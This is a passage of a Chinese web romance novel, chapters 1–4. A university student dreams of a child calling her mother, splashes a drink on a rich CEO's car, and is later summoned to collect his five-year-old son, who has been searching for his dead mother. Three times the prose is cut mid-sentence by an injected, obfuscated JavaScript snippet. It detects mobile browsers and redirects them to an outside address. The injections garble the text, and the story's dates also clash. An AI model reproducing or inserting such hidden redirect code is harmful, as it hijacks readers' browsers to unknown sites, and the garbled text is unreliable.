《天降萌宝,父母强制恋爱!》 1. 第1章 安诺的20岁,被一个从天而降的孩子改变了,紧锣密鼓的,一个男人也闯入了她的生活。 不过这事儿,还得从一个诡异的梦说起。 “你走开,我不是你妈咪。” “你是你是,你就是。” 雾蒙蒙的天,海城上空压满了厚厚的云层,地表的空气潮湿又闷热。 看样子是要下雨了。 街道上,汽车鸣笛声起起伏伏,像是如临大敌的号角声,催促着行色匆匆的行人们再加快些脚步赶紧回家。其间,偏偏有一个身形高挑的女人与一个5岁孩子原封不动地站在街头,喋喋不休地还在争吵着。 “我真不是你妈妈。” 女人口干舌燥的,口水都快说干了。 “小屁孩,我要给你说几百遍,我还没大学毕业,甚至…甚至连个男朋友都没有,怎么可能是你的妈妈呢?” 宝宝却始终一口咬定道:“你就是我妈咪,我不会认错人的。” 女人:“……” 实在是不想再多说什么了,万般无奈的,她扭头就想走人。结果刚走一步,一道莫名的力量忽然冒出来死死地拽住她的双腿。 女人疑惑地回头。 “啊!” 安诺猛地张开双眼。 煞白的天花板,顺着逆时针方向一阵打转。 “诺诺,你咋啦?”有室友担心地问她。 安诺没回话,整个呼吸急促地躺在床上,惊魂未定。 是蜘蛛! 一只巨大无比的蜘蛛! 梦里,她疑惑地回头时,看见的不是宝宝,而是一只和笔记本电脑一般大小的蜘蛛匍匐在她脚下。 她想逃,蜘蛛偏要死死地摁住她的双脚,蛛丝从口器里喷射而出,至下而上,一圈一圈地不断往上缠绕。 渗人极了。 “安诺,安诺?” 见她一直没反应,室友又喊了她一声,安诺躺在床上,仍旧一言不发。 此时此刻,头顶的天花板已经停止旋转了,她就那么木讷地盯着天花板,头发乱糟糟的,像团毛线球,平日里略显婴儿肥的脸颊时常都是白里透红的,今日却煞白一片,额头也满是大汗。 对床的许晓筱坐在自己床上,实在没办法了,憋一口气后超大声地喊道:“安诺~” 声音之大,惊得窗外的鸟儿们“扑腾”着翅膀一阵逃窜。安诺这才迷迷糊糊回过神来。 “什么?”她扭头问许晓筱。 许晓筱:“……没什么,清醒了就行,我还以为你被鬼压床了呢。” 安诺轻吁一口气,“确实是被鬼压床了。” 声音太小了,许晓筱没听清楚,反问道:“什么?” 安诺抹了抹额头的冷汗,回答:“没,没什么。” …… 太真实了。 安诺从没做过这么逼真的噩梦过。 此后的一个星期里,她总是反反复复地梦到那个孩子。然后梦中惊醒,一身冷汗。 甚至白天也会经常幻听到那道稚嫩的呼喊声。 “妈咪。” “我是你的宝宝呀,妈咪。” “真的,我没骗你,我真是你的宝宝。” …… 一声,两声,三声,周而复始,没完没了。 快被逼疯的某人,“碰”地一下关上笔记本电脑,她想大喊,想大声宣泄,又怕吵着寝室里的室友,所以只能咬牙愤慨道: “不要再叫了,再叫我要报警了。” 声音从胸腔发出来,闷闷的。 小胖妹张雨桐刚从图书馆回来便撞见这一幕,满头问号道:“咋了这是!?” 许晓筱坐在自己书桌前,一只手拿着化妆镜,一只手拿着眉笔,耸肩表示不知道。 安诺坐自己书桌面前,没回她们。想到什么,她自言自语道: “不行,这事儿报警不行,得去庙里求张符才行。” 说完,人真起身走了。 张雨桐和许晓筱,“……” 看看安诺,又看看彼此。 两脸懵逼。 -- 出门一趟回来,安诺真带回来了一张符咒,也不知道是不是符咒真起了功效,之后的一个星期里,她再没梦见过那个孩子。 那只蜘蛛也一样。 遗憾的是,她和孩子的神奇缘分并没有就此打住,甚至越发纠缠不清起来。 莫名其妙的,总有人给她打电话,问她要不要给宝宝报围棋班。 起初安诺只是觉得有些奇怪,慢慢的,她逐渐失去了耐心。 “我没有宝宝,谢谢。” “我们店这周搞活动,优惠很大哦,全年最低价抢到就是赚到。” “……我说…我没有宝宝。” “家长,您可能不清楚,围棋有助于提升孩子的思维逻辑能力和@&#√……” “我说!我真的没有宝宝,再见!” 几番对话下来,安诺头都大了,电话挂掉的一刻,世界才终于清静一点。 夏风“簌簌”地吹着,安诺走在学校的林荫道里,夏风微凉,她的脸颊却异常的红润滚烫。 被电话里的人气着了。 折腾了这么些天,安诺的情绪早就变得比其他人敏感很多。 再加上今天又是她出门去面试的日子,所以安诺的心绪整个都处在烦躁和焦虑之中。 他们行管专业前两天刚结束完期末考,这个暑假安诺不准备回家,她打算留校实习。 继续走在学校的林荫大道里,安诺抬头看了看天空。 乌云密布的,和梦里一模一样。 再低头看看自己,浅紫色的碎花短裙,也和梦里如出一辙。 撅着鼻子仔细闻闻周围的空气,闷热中带着一股淡淡的泥土味。 完蛋了,连空气的味道都一样! 小姑娘当即小脸一皱,一股不好的预感袭上心头。 这架势,不会像梦里一样走着走着突然冒出一个孩子来吧!? 然后吵着闹着叫她妈咪? 不让叫,就变成大蜘蛛缠着她!? 一边想着,安诺一边神经兮兮地环顾四周。 眼下,无边无际的想象早已吞噬了她。 自己把自己吓得不轻。 从宿舍赶去公交站十几分钟的路程里,安诺不止一次的东张西望,一见到小孩她就躲得远远的。 要么加快步子,要么绕道走远路。 以前安诺从不相信梦境 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15183741|165416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,可自从那个梦以后,她总觉得冥冥之中会有孩子找上她。 也许那个梦就是对她的暗示。 又或者说,其实不是有宝宝要找她,而是上辈子她做了什么惊世骇俗的大坏事,现在冤魂来找她来了!? 鬼鬼祟祟的,女孩重新环看四周。 树木茂密的林荫大道,夏风一吹,树叶“沙沙”作响。 多么美好的盛夏之景,落在安诺眼里却是: 啊———好阴森好恐怖啊! 她捂着耳朵就跑了。 身后,一个5岁小女孩被吓得直拽她妈妈的胳膊,“麻麻,刚才那个小姐姐有点奇怪。” 那位妈妈也是疑惑极了,弯身询问:“怎么奇怪了?” 小女孩:“像爸爸医院的病人。” 她爸爸是精神病医生。 …… 确实,安诺觉得再这么下去自己真要成神经病了。 刚一坐上公交,她便打开了车窗玻璃,准备吹会儿凉风强行让自己冷静下来。没曾想起,室友们的讯息又将她拉回了“宝宝世界”。 预备亿万富婆群: 1亿富婆许晓筱:【加油安宝宝,安宝宝一出手,打遍天下面试无敌手。@100亿富婆安诺】 10亿富婆张雨桐:【安诺宝宝最无敌,亿万富婆就属她能干又聪明。】 1000亿富婆林倩倩:【安宝安宝不得了,一颦一笑直叫人受不了。】 看完所有的安诺,两眼黑了又一黑。 手机屏幕里,“宝宝”“宝宝”全是“宝宝”。 换作是平时,她肯定不会特意在意这两个字,甚至还会为室友的发言感到心头发暖。 但今天,她和“宝宝”这个词眼犯冲。 余光里,周围的乘客们也莫名其妙地一个接着一个地变成了小baby模样。 有男孩女孩,胖的瘦的,国外的国内的,全部张着嘴巴在那里“哇哇哇”大哭。 安诺太阳穴一跳,猛然抬头,“宝宝们”立马又变了回去,变回了原来的大人模样。 看得安诺一颗心不上不下的,呼吸都跟着不顺畅起来。直到一阵凉风灌进来,她才恍然,原来一切都是她自己的幻觉。 也幸好是幻觉。 “呼。” 她再次庆幸地长舒一口气,而后伸手把车窗开得更大了些。 之后半个多小时的车程里,阵阵凉风透过车窗缝隙一直“呼呼”地吹进来。 慢慢的,安诺的心神也跟着恢复不少。 期间,她还眯眼小憩了一会儿,等到一道女声报铃声响起时,她才骤然睁眼,而后从位置上起身,跟着几名青年乘客从后门走下公交。 街道正对面,高楼林立,其中最高的那栋楼赫然闪烁着“傅氏集团”四个大字。 那便是她今天要去面试的公司。 站在街角的这头,安诺腰杆挺得笔直的同时,还自我打气地深吸了一口气。 她决定再不去想和那个孩子有关的所有破事情了。 此时此刻,与她而言最重要的事情就是面试。 只是令她万万没想到的是,其实她昂首挺胸朝大厦走去的这条路,不仅是条通往面试的路,更是一条去见孩子父亲的路。 2. 第2章 刚进傅氏集团的时候,安诺并没有遇到什么异样。 面试时间是下午2点半。 她早到了半个小时,只能跟着一众面试者等候在面试会场外。 闲来无事,安诺拿出手机把玩,顺带着把“预备亿万富婆群”里的消息重新过了一遍。 【加油安宝宝,安宝宝一出手,打遍天下面试无对手。@100亿富婆安诺】 【安诺宝宝最无敌,亿万富婆就属她能干又聪明。】 【安宝安宝不得了,一颦一笑直叫人受不了。】 现在再看这些东西,安诺的心境已经全然不同了。 第一次她畏惧“宝宝”这个词眼,而这次她已经释然了很多。甚至觉得有些想笑。 记得刚进大学那年,她才17岁,是班里年纪最小的女生,在寝室里自然也是年纪最小的,加上她天生有些娃娃脸的长相,性格也憨得可爱,所以室友们总喜欢叫她“宝宝”,有时也叫“安宝”“诺宝”。 那个时候,安诺并不喜欢她们这样叫她。 她觉得自己只是年龄小而已,要论智商,她进校时可是专业第一名来着。 如此说来,她如果是憨憨,那他们整个2020级行政管理专业全都是超级无敌大憨憨。 可无论她争辩多少次,三室友总有理由反驳她。 室友1号张雨桐:“上个星期掉水杯的人是不是你?” “还有,她上上个星期还两次坐过了公交站。”室友2号许晓筱也来补充,甚至特意加重语气强调“两次”这个词眼。 室友3号林倩倩:“对了,她昨天被子也掉了,因为她把被子晾楼顶天台上晾了一个月也没收。” 说着说着还笑起来,“也不知道是被人偷了,还是被大风吹走了。” 当时安诺面无表的,心情很是复杂。 “我只是,只是在生活上比较马虎一点而!已!”她最后愤愤地狡辩道。 结果三个室友齐声回她:“哦,好的宝宝。” 安诺:“……” …… 下午面试开始时,安诺排在比较靠前的位置。 轮到安诺进去时,她在“预备亿万富婆群”里俏皮地吆喝了两句: 【朋友们,我要去了,谢谢你们的加油,我会努力的。】 【么么哒×3,不要抢,每人都有份哟。】 和一众面试者相比,安诺还算是情绪比较稳定了那一个。 她准备得很充分,年轻气盛的20岁小姑娘情绪来得快去得也快。 抛开之前的一堆倒霉事情,安诺信息满满地走进了面试考场。 她以为自己不一定会成功通过面试,但至少还是能招架住几个面试官的犀利提问的。 结果…… “破公司,要找有经验的招聘的时候又不写清楚。” “还有,都找实习生了还要什么经验啊,真是的。” 女孩走在公司外面的大马路上嘴里一阵埋怨道。 眼睛耷拉着,心情不佳。 她可以接受自己能力不足而导致面试失败,但万万不能忍受别人把她当猴耍。 HR明明知道她条件不合格,却还是打电话让她过来面试,这对安诺而言就是把她当猴耍。 这时一个阿婆推着小推车路过,眼看着安诺一张小脸通红通红的,借机推销道: “小姑娘,买杯绿豆沙吧,下下火气。” 安诺眉眼一抬,确实,她确实需要下下火气。 她朝阿婆招了招手,买下了一杯绿豆沙。 付完钱后,阿婆推着小车继续吆喝着走了。 阿婆说绿豆沙可以下火,安诺将信将疑地插管子喝了两口,但这下火效果似乎有些欠佳。 一边喝着,安诺还是忍不住冲着傅式集团一通念叨。 “破公司破公司,等着瞧吧,等我以后赚大发了我第一时间就收购你。” “然后把你们的HR全开掉,老板……老板也一样开!掉!” 尽兴之余,她无意甩了下胳膊。 然后… 然后就出大事了。 只闻“砰”的一声巨响,安诺被吓得肩膀都抖了抖。 带着某种不祥的预感,女孩缓缓地扭头看,而后嘴巴直接张成了“o”字形。 目光所及之处,是一辆轿车停在她面前。 利落的流线型车身,黑亮光洁的车面,一看就价格不菲。 偏偏她手中的绿豆沙不偏不倚地砸到了人家车窗上面。 安诺就那么定定地站在原地,一颗小心脏直接提到嗓子眼。 她发誓,买绿豆沙之前她真没想到就这么一杯小小的绿豆沙竟然能惹出那么大的祸端。 安诺愣愣地看着眼前的一切。 好在轿车质量很好,车身玻璃并没被砸碎,但绿豆沙瓶子将其刮出了一道很长很长的刮痕,豆沙也溢了出来,洒得到处都是。 原本光亮的玻璃,此时此刻崩满了一层绿色糊糊。 画面美得简直令人不敢多看一眼。 这,这怎么会这样啊? 安诺怂怂地扣着手指头,仍旧满眼的难以置信。 她举三根手指,她真的不是故意的。就是不知道车子的主人愿不愿意听她这番解释的说辞了。 街头一辆客车巴士呼啸而过时,惊起一阵刺耳的鸣笛声,“滴滴滴”的。 闻声,安诺这才稍微缓过神来一点。 慌慌张张的,她从包里掏出纸巾打算先把车子清理干净再说。 谁料这时被砸车子的车窗玻璃忽然缓缓地降了下来。 安诺脚下一顿,头皮有些发麻。 她以为车里没人来着。 等看清楚坐在车里的人到底是谁时,安诺喉咙一紧。 这回双腿都软了。 轿车里,坐着两个人,一个坐在驾驶座上,是位开车的小司机。 而后座,是位静默的黑西服男人。 那男人一记幽黑的目光十分淡漠地投向安诺,继而是打量,审视,甚至带着车子被砸后的些许不悦。 光从男人的目光里,安诺便能猜出这是一位有权有势的主,更别提那张冷白凌冽的建模脸了,光坐在哪里,就透着生人勿近闲人勿扰的冷与…贵。 偷偷的,安诺咽了咽口水。 她知道自己闯大祸了。 恍惚间,脑袋里又忽地闪过一张百度百科搜到的照片,再次的,她偷摸咽了咽口水。 因为心里知道,这次她是真的要玩完了。 面试前,她专门做过功课。 傅氏集团的几代发家史,以及傅氏现任掌舵人的相关资料她都看了个遍。 就怕面试时被问到相关内容。 现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15183742|165416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好了,面试官没考她这些,她自己个儿凭本事撞上了。 傅凌霄,傅氏集团现任实权继承人,从小天资过人,10年读完小学,15岁参加高考,18岁一边上大学一边进公司实习,20岁那年爷爷丢下一句“人老了想安安静静地颐养天年”便大手一挥,将名下的股份和权力全数送到傅凌霄的手里。 这里面,傅凌霄的叔叔伯伯,甚至爸爸除了之前在公司持有的一小部分股份以外,之后再没从傅老爷子手中捞到一子一毛。 外界对此传闻很多,有的说傅家家风和耀,是叔叔伯伯们不争权势所以拱手把家族继承人之位让给了傅凌霄。 也有的说其实傅家内斗严重,而傅凌霄手段阴狠至极,为了夺权把叔叔伯伯甚至爸爸全都狠心踩在脚下。 最后还有第三种说法,说傅凌霄本来就是傅老爷子一手培养的接班人。傅凌霄是傅家长孙,一出生就被傅老爷子给予了众望。 种种传闻,全是安诺从一下论坛里搜索到的小道消息,其真其假谁也说不清楚。 但单凭安诺个人而言,她更倾向于最后一种说法——傅凌霄是傅老爷子亲自选任的接班人。 当然,这也并不是她该考虑的问题,她现在最该处理的问题是… 她把傅凌霄的车子砸了,她现在咋办啊? 眼前,傅凌霄锋利的目光一直在她身上。 他在等她的解释。 或者说,是在等她认错更为贴切。 因为刚才安诺对着公司的一阵疯狂输出。 他应该也是…听到了的。 难为情的,安诺死死地攥紧拳头,脸上全是局促和紧张。 怎么办啊? 焦灼中,手机铃声忽然响了。 得救似的,安诺伸手掏手机。 一看是个陌生电话,整个人立马又焉了,连带着直接挂掉了通话。 她以为是寝室的那几位仙女打来的。还想着拉上她们一起帮她解决眼下的燃眉之急——傅凌霄车子的事情。 毕竟众人拾柴火焰高。 哪想,竟是个骚扰电话。 万般抱歉的,安诺朝傅凌霄露出了一抹不好意思的笑容,希望傅凌霄不要因为这点小插曲和她一般见识。 结果手机铃声偏偏不识趣地又响了起来。 “滴铃铃”,“滴铃铃”。 一声,两声。 带着某种不甘心似的。 安诺:“……” 脸上的抱歉笑脸立马从笑嘻嘻变成了不嘻嘻。 没办法,手机铃声一直不死不休地响着,她只好冲车里的“贵人”致歉道: “对不起啊,那个,我先接个电话。” 傅凌霄神色淡漠,没出声。 安诺权当他同意了,而后径直转身接通了电话。 此时此刻她只想赶紧把电话里瘟神送走,然后再解决车子的事情把傅凌霄也一并送走。 “喂,您好?”咬着嗓音。 经过一番折腾后,安诺的说话语气显得有些急躁且不耐烦。 约莫十几秒后,她语气里的不耐烦变成了震惊。 “什…什么?!”她吃惊道。 因为电话里的人对她说: “您好安诺小姐,这里是高新西区公安局总局,有个叫傅一诺的宝宝正等候在我区公安处,请您及时过来认领一下。” 3. 第3章 —2030年— “大家好,我叫傅一诺,今年5岁,你们也可以叫我诺宝。我喜欢游泳,喜欢玩乐高,还喜欢计算机编程和下围棋。” 今天是幼儿园开学的第一天,诺宝双手紧贴着裤缝,整个人端端正正地站在讲台中央正一板一眼地自我介绍着。 爸比说了,开学第一天一定要给老师同学们留下一个好印象。 所以他得表现好一点才行。 想到这里,诺宝把腰杆挺得更直了些,说话声音也变得更加洪亮起来,“以后,我的梦想是像我爸比傅凌霄一样……” 话没说完,教室里突然冒出来两个不和谐的声音打断了他。 …… 下午放学。 傅凌霄的车子停在幼儿园门口,黑色的宾利在一众奥迪车里显得尤为的抢眼。 诺宝一眼就认出来了。 傅凌霄没下车,是司机过来接诺宝的。 一上车,诺宝就把脑袋耷拉在车窗上一言不发。 傅凌霄没搭理自己儿子,反倒拨出去了一通电话。 诺宝也一点不好奇那是给谁打的,因为没心情。 几秒后,旁边的老父亲传出了说话声。 “以后,禁止齐家叶家和我们有任何来往。” 听到这,诺宝耳朵竖了一下。 “那最近对他们的投资也……?”电话那头的人故意说话说半截。 傅凌霄只回了两个字:“撤了。” 清冷的嗓音中带着些许不耐烦。 见状,诺宝知道学校的事情肯定已经被他老爸摸得一清二楚了。 这一点也不奇怪,他知道的,他的总裁爸比无所不能。 学校的事情和傅凌霄口中的齐家和叶家有关。 事情是这样的,诺宝自我介绍时,突然两个小孩跳出来打断他说: “大家不要理他,他没有妈妈。” “对,大家都不要和他玩,他一出生他妈妈就去世了,是他害死了他的妈妈。” 两小孩你一言我一句的,正好一个姓齐一个姓叶。 这已经不是诺宝第一次听到这种话了。 第一次他哭着闹着找爸爸,第二次他什么都没告诉傅凌霄,而是自己一个人躲在被子里默默地抹眼泪,第三次他没哭也没闹,第四次他学会了反击,也就是今天,他当着全班同学的面大声告诉那两个捣蛋鬼道: “对,你们说的没错,我确实没有妈咪,我也没见过我的妈咪,但是这一点也不影响我爱她。我也相信我的妈咪肯定也非常非常地爱我,否则她不会冒着生命危险生下我。” “我妈咪去世是一场意外,这是谁也没法控制的事情。所以这不是我的错,也不是我妈咪的错。错的是你们,你们明明知道这是一件伤心的事情却还是故意拿出来伤害我,让我难过。” 最后,诺宝望着那两刺头郑重其事地扔话道: “错的是你俩,但你们不用给我道歉,因为我不会原谅你们。” 话音落下,教室里一片寂静。 大概谁也没想到诺宝会条理清晰地阐述清楚这么多的事情,甚至言语中把自己毫不屈服的态度展现得淋漓尽致。 而他只是一个刚满5岁的孩子而已。 反应好一会儿后,一位女老师心痛地抱住诺宝,另一个老师则是十分严厉地把那两个刺头带出了教室。 这是诺宝第一次因为妈妈的事情反击别人,也是他第一次正面面对这件事情。 学校里,大多数小朋友还是很善良很单纯的。 当老师带走那两个刺头后,其他小朋友一个接着一个地跑过来抱诺宝,还不忘了表忠心道: “诺宝,我们永远都是你的好朋友”。 “对,我们永远是诺宝的好朋友。” “好。”当时诺宝是这么回答他们的,脸上也是笑盈盈的,但心里却高兴不起来半点。 因为… 他想妈妈了。 他想见一见自己的妈妈。 一次就好。 …… 车里,傅凌霄打完电话后侧目看向自己儿子。 电话是故意打给诺宝听的,不过小家伙听完后似乎并不是那么的高兴。 “想不想吃冰淇淋?”傅凌霄难得放轻声调哄自己儿子道。 放平时,他根本不可能这么说话,更不可能放任小家伙吃冰激凌。 诺宝努了努嘴巴,是有点馋了。 不过眼下他还有更重要的事情想问傅凌霄,费劲地咽了咽口水后,小家伙扭头问道: “爸比,我可不可以问你一个问题?” 傅凌霄一瞬拧眉,疑惑的同时眉宇间还透着一丝抗拒。 他隐约能猜到自己儿子想问什么,果然没等他开口诺宝便又抢话问道: “爸比,我妈咪到底是一个什么样子的人啊?” 关于这件事物,诺宝从没听傅凌霄提及过,甚至整个傅家都三缄其口没人愿意多说一句。以至于诺宝三岁以前都不知道原来这个世界上还有“妈妈”这种亲情的存在。 傅凌霄沉默地看着自己儿子,一直没回话。 “滴滴…” 迎面飞驰而过的汽车惊起一阵刺耳的汽笛声。 诺宝等得有些不耐烦了。 “不说算了。”他负气道,说完把头重新扭向了窗外。 傅凌霄的脸色变得有些复杂,幽静的目色里有愧疚,也有心疼。 但他终究还是没办法重提往事,所以自始至终他都沉默着没再出声半句。 这让诺宝更生气了。 等着瞧吧,我一定会自己查清楚妈咪的事情的。 小家伙在心里暗自发誓道。 很快,第二天下午他便耍小聪明的在家里各自拉来一个园丁和一个洗碗阿姨问话。 威逼利诱那种。 “你们要是不老实交代,我就去我爸比那里装病说你们欺负我,然后把你们统统开掉。” 老园丁和洗碗阿姨一听,吓得腿都软了,可嘴里翻来覆去的还是那些车轱辘话。 “哎哟我的小少爷啊,我就一干活的,我哪里知道那些事情呀。” “对呀小少爷,我们真不知道啊。” “就是就是,哪怕是你今天执意要把我们赶走我们也不知道的啊,小少爷。” … 约莫5分钟后,诺宝只能无奈扶额:“算了算了,你们继续忙吧。” 后来,在这之后的很长一段时间里诺宝都没找着与他妈咪有关的半点信息来。 慢慢的,诺宝都不抱希望了,结果这天一个女人的到访让一切又有了新的转机。 这女人叫朱玲嫣,是诺宝小姨的好朋友。 除此以外,这女人还一门心思的就想嫁给傅凌霄。 不过这是万万不可能成功的,一方面傅凌霄一心只想着工作上的事情没空谈情说爱,另一方面是这门婚事他傅一诺第一个不同意。 记得第一次见到朱玲嫣时,诺宝就很不喜欢她。 她其实长得很漂亮,高鼻梁,长睫毛,再配上一头棕黑色的大波浪卷发,整个人精致得像一个洋娃娃。 但是诺宝就是对她喜欢不起来。她一靠近他,诺宝就觉得胸口犹如心梗一般,莫名地发闷发慌。 这是个坏女人,女妖精。 直觉是这么告诉诺宝的。 后来接触多了,诺宝发现这女人的确是个女妖精,心眼子堪比狐狸精。 为了接近他爸傅凌霄,女妖精可谓是什么招数都用上了。首先是利用和小姨的闺蜜情进了傅氏集团,后又借着小姨的引荐认识了太爷爷,然后就是变着花样地讨爷爷喜欢,又是陪爷爷钓鱼又是陪爷爷下围棋的,把爷爷哄得那叫一个喜笑颜开。 最近,哄完爷爷的小妖精又把目光转移到了诺宝身上来。 每次一进门,小妖精就装出一副慈母般的笑脸冲着他一顿捏脸夸赞。 “哎哟~几天不见咱们诺宝宝又长高了呀。” “哇,宝宝你也太可爱了吧,阿姨每次见你都好想亲你的脸蛋呀。” “诺宝,听说你的围棋课又有新进步啦,要再接再厉继续加油哦。” …… 次次夸赞都不带重样的,也算是有心了。 这不,今天又有新花招了。 “来宝宝,阿姨给你带了奥特曼玩具,因为我们诺宝宝以后肯定会成为和奥特曼一样勇敢的人。” 说着朱玲嫣就把手里的玩具递到了诺宝面前。 她以为这样就能讨到他的欢心。 结果诺宝看着她小嘴一扯。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“ānnuò”,“诺宝”。 诺宝小声念出这两个名字,脑袋飞快旋转着。 都是“nuò”,所以妈咪的名字很有可能和他一样,都带“诺”字。 “诺”字确定了,那“ān”呢,又是哪个“ān”? 骤然间,诺宝一下从床上坐起了身子。 以他5岁4000字的识字量,他只能想到“安”这一个字。 但是为了确保万无一失,诺宝决定还是要再核对一下才行。 于是毫无睡意的小家伙踢被子从床上跳了下来,而后开灯往靠窗户的小书桌走去,走到小书桌前,二话不说的又是一顿翻找。 几秒后,他翻出一本学习用的汉语小字典,紧接着熟练地按照字母顺序翻到“ān”音。 2分钟后,小家伙把字典一合,信心满满地确定她的妈咪就是叫“安诺”。 因为“ān”音里只有“安”一个汉字可以当成姓。 “安,诺。” 重新念出这个名字时,诺宝已经回到了床上,屁股撅着,手里握着一只笔,正一笔一划地在本子写着自己妈咪的名字。 由于写字慢的缘故,小家伙把声音拖得很长。 最后写完时,黑溜溜的眼珠子盯着本子忍不住发出一声赞叹道: “真好听啊这个名字。” 不知不觉间,时间就这样来到了凌晨2点。 可诺宝仍旧没有半点困意。 既然睡不着,那就再做点什么吧。 小家伙恋恋不舍地收起本子,里面有他妈咪的名字,这是独属于他的小欢喜与小秘密。 深怕被其他人发现,诺宝拉开床头柜的抽屉,把作业本压在了抽屉的最底层。 而后眼珠子滴溜滴溜地转来转去的,脑袋里在思考着下一步的行动。 等到第二天早上,傅家直接炸锅了。 “完了完了,一诺小少爷不见了!” 有人着急地大喊道。 4. 第4章 傅凌霄这个星期出差了。 在他回国之前一定要找到小少爷。 这天傅家全家上下二十几号人上蹿下跳的,急得像热锅上的蚂蚁。 “一诺少爷~” “小少爷你到底在哪里啊~” “少爷你快出来吧,别吓我们了好不好?” 着急的呼唤声此起彼伏,只可惜无人应答。 …… 天空另一头。 诺宝走进一家打印店,顶着两个大黑熊猫眼。 因为他昨晚一夜无眠。 时间太早了,店里只有一个矮胖矮胖的中年男人,正坐在电脑面前手里噼里啪啦地按着鼠标键,一副十分忙碌的样子。 “老板,打印照片。”诺宝走到人面前说道,声音带着5岁小男孩的专属稚气。 闻声,那男人低头看了一眼,一看是个小孩,便一句话都没搭理,若无其事的又啪啪地继续敲打鼠标和键盘。 余光也没再多看诺宝一眼,视线盯着电脑屏幕,神色专注。 很显然,人完全没把诺宝当回事,觉得他就是个什么都不懂小屁孩,来捣乱的。 诺宝也不傻,一下就明白过来是怎么回事。 “算了,看来是个聋子。”小家伙故意说道,说完转身就要走人,这时那个男人却突然开口说话了。 “等会儿,你回来。”那男人扬言道。 诺宝把脚一顿,慢悠悠地扭头看他,“原来你不聋啊?” 男人:“……” 两边脸颊一下就红温了。 被气的。 气完,还是认真地询问了这么一句,“你真要打印照片?” 诺宝:“对呀。” “你有钱吗?”男人还是不相信他。 这回诺宝没回话,只是小嘴一撇地从书包里翻出一样东西。 银行卡,黑色的。 男人眼睛一睁,看傻了。活了这么多年,这还是他第一次看见黑卡----传说中只有金字塔顶端的人才配拥有的东西。 现如今黑卡出现在诺宝手里,那便说明诺宝一定出生于显贵家庭。 于是诺宝抢先一步放狠话道: “不要企图绑架我,外面有好几个便衣保镖正盯着你家打印店呢。你要敢碰我一下,你会死得很惨。” 闻声,男人没敢多说什么,喉咙里不停地咽着口水。 诺宝不禁眉梢扬起,他知道他这是唬住人了。 便衣保镖是他瞎编的,本来他就是偷摸跑出来的,怎么可能让人一路跟着。 但是他手里的黑卡是真的,是他爸傅凌霄的。 昨晚,他偷偷溜进过傅凌霄的书房,偷走了傅凌霄的手机和银行卡。 这并不容易。 书房有密码锁,平时只有傅凌霄可以进去,银行卡也不好拿到,被锁在厚厚的金属保险柜里,一般人根本不可能进书房拿到银行卡。 唯独诺宝除外。 因为傅凌霄带他进过书房,那时候诺宝还很小,才3岁,也就这一次,诺宝记住了书房的密码。当时贪玩,他还哭着闹着一定要看保险柜里的东西,傅凌霄拿他没辙,便开了保险箱给他看,甚至调侃说: “小鬼你可真会找东西,放心,以后这些东西都是你的。” 那时候诺宝哪里知道保险柜里是什么好东西,他只记得柜子里有砖头金光闪闪的,还有各种卡片。 后来再长大一点,他才知道金光闪闪的砖头是黄金,可值钱了。还有那些黑的,黄的,绿的,紫的各种各样好看的卡片是银行卡,里面可多钱了。 平日,傅凌霄叮嘱过诺宝书房不可以随便靠近。 诺宝也一直不敢进去瞎霍霍,昨晚是他第一次破戒。 书房里,说不定能找到一些关于妈咪的蛛丝马迹。 保持着这样的一个念头,所以诺宝毅然决然地打开了密码锁。 静悄悄的夏夜里,诺宝在里面一直待到了窗外的太阳升起。 待在书房的几个小时,他翻遍了所有,书桌,书架,以及书架的各种书籍,以及赫然摆在书桌中央笔记本电脑和手机。 这一晚,诺宝是幸运的,他仅仅输了一次密码笔记本电脑屏幕便解锁了。 他输入的是他的生日。 电脑解锁的一刻,诺宝惊讶地长大嘴巴,他没想到会这么顺利。 也许,冥冥之中妈咪也想让他找到她。 这么想着,小家伙加快了手上的动作。他点开了微信,微信也需要密码,再次输入自己的生日,微信居然也神奇地登上了。 到最后,诺宝发现连同电脑旁边的手机密码也是他的生日。 有了这些通讯工具,查东西变得轻而易举起来。 微信上,傅凌霄给安诺的备注很简单,直接是“安诺”。 单单是一个名字,没有任何其他亲腻称呼,诺宝盯着手机屏幕眼里尽是失落,等翻完五年前的聊天记录,更失落了。 原来爸比根本不爱妈咪。 他的出生也只是一个意外而已。 “一个意外”,聊天记录里傅凌霄是这么形容的。至于是什么意外,后面的文字诺宝看不太明白。零零散散的,他只能读懂傅凌霄说他愿意负责。 刚开始安诺不同意,后来隔了几个月后安诺忽然又改了口,说了句“可以”。 又过了一个月后,安诺第一次主动给傅凌霄发了消息,而且是语音。 诺宝点开听,一道着急的声音传入耳梢。 “傅凌霄,你在哪里?救救我的宝宝。” “快救救我的宝宝,我快撑不住了。” 两道声音里含杂着汽笛声,还有风声,最后一切归于平静。 至此,聊天记录结束了。 “2015年6月1日晚上22:20”,安诺最后的发消息时间。 诺宝的目光一直盯着这个时间,眼睛红红的。 2015年6月1日,这是他出生日期,也是他妈咪去世的日子。 无助的,诺宝一动不动地坐在书桌前,一坐便是半个小时。 